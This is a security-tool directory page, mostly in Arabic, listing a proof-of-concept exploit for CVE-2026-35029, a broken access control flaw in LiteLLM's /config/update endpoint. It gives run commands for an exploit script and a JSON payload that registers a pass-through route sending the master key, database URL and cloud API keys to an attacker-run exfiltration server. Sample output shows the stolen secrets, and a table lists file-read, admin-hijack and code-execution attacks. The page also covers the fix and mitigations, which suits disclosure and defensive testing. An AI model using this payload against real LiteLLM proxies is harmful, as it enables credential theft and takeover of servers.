Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-35029-PoC — الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة | Kitploit
أدوات/GitHubGitHub/learner202649/cve-2026-35029-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-35029 — LiteLLM /config/update ثغرة الوصول غير المصرح به (Broken Access Control)

LiteLLM نقطة النهاية /config/update لا تتحقق من صلاحيات دور المستدعي. يمكن لأي مستخدم مصدق يحمل مفتاح API صالح (بدون الحاجة إلى صلاحيات المشرف) تعديل تكوين الوكيل وتسجيل نقاط نهاية مرور ضارة لتنفيذ هجمات مثل سرقة المتغيرات البيئية، قراءة أي ملف، تنفيذ التعليمات البرمجية عن بُعد.

الحقلالقيمة
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
المتأثرLiteLLM < 1.83.0
الإصلاحv1.83.0+ (تمت إضافة التحقق من دور proxy_admin على /config/update)
النشر2026-04-06
المكتشفTimo Müller — SEC Consult Vulnerability Lab (Munich)
تاريخ الاكتشاف2026-02-24
الروابطGHSA-53mr-6c8q-9789 • NVD • SEC Consult

الوصف

كان من المفترض أن نقطة النهاية /config/update في LiteLLM تسمح فقط بدور proxy_admin، لكن قبل الإصدار v1.83.0 لم يكن هناك أي فحص للدور. يمكن لأي مستخدم لديه مفتاح API صالح استدعاء هذه النقطة.

ناقلات الهجوم

التأثير

  • مستخدم بصلاحيات منخفضة → صلاحيات مشرف كاملة
  • تسريب المتغيرات البيئية الحساسة (بيانات اعتماد قاعدة البيانات، مفاتيح API، بيانات اعتماد الخدمات السحابية)
  • قراءة أي ملف (ملفات التكوين، الشهادات، ملفات shadow)
  • يمكن استغلاله مع ثغرات أخرى (CVE-2026-35030)

Proof of Concept

Quick Start (Docker)

⚠️ Important: The docker-compose.yml pins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it to main-v1.81.0-stable or any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.

root@kitploit:~
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

ملاحظة: في المرة الأولى لتشغيل الحاويات، انتظر حوالي 30-60 ثانية (فحص صحة PostgreSQL + ترحيل قاعدة بيانات Prisma) حتى يظهر في سجلات الحاوية Uvicorn running on http://0.0.0.0:4000 ثم قم بتنفيذ الاستغلال.

المخرجات المتوقعة

سرقة المتغيرات البيئية:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

الإصدار الذي تم إصلاحه يرفض الوصول (يعيد 403 عند استخدام مفتاح غير مشرف):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

ملاحظة: إذا استخدمت المفتاح الرئيسي (sk-litellm-master-key) لاختبار الإصدار المُصلح، فقد يعيد تحديث التكوين HTTP 200 (لأن المفتاح الرئيسي لديه دور proxy_admin)، لكن تسجيل نقطة نهاية المرور قد لا يسري أو قد يتم تجاهله بصمت. يُنصح باستخدام مفتاح غير مشرف للتحقق من الإصلاح.


Attack Chain Detail

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

Environment

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

الإصلاح

في الإصدار v1.83.0، تمت إضافة فحص دور proxy_admin في معالج /config/update:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

الالتزام: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

إجراءات التخفيف

  1. الترقية فورًا LiteLLM إلى v1.83.0+
  2. تقييد الوصول إلى نقطة النهاية /config/update على مستوى الشبكة
  3. تدقيق استخدام جميع مفاتيح API وتدوير أي بيانات اعتماد قد تكون مسربة
  4. مراقبة طلبات تحديث التكوين غير العادية

المراجع

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • SEC Consult Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • LiteLLM Pass-Through Endpoints Docs

Disclaimer: This content is provided for educational purposes and authorized security testing only.

تنزيل الأداة
نوع الهجومالوصف
سرقة المتغيرات البيئيةتسجيل نقطة نهاية مرور، واستخدام مراجع رأس os.environ/VAR_NAME لسرقة DATABASE_URL، LITELLM_MASTER_KEY، وغيرها
قراءة أي ملفاستغلال خاصية ترميز Base64 لرؤوس LANGFUSE_* لقراءة نظام ملفات الخادم
تعديل التكوينتجاوز UI_USERNAME، UI_PASSWORD لاختطاف حسابات المشرفين
تنفيذ التعليمات البرمجية عن بُعدتسجيل معالج نقطة نهاية مرور يشير إلى كود بايثون الخاص بالمهاجم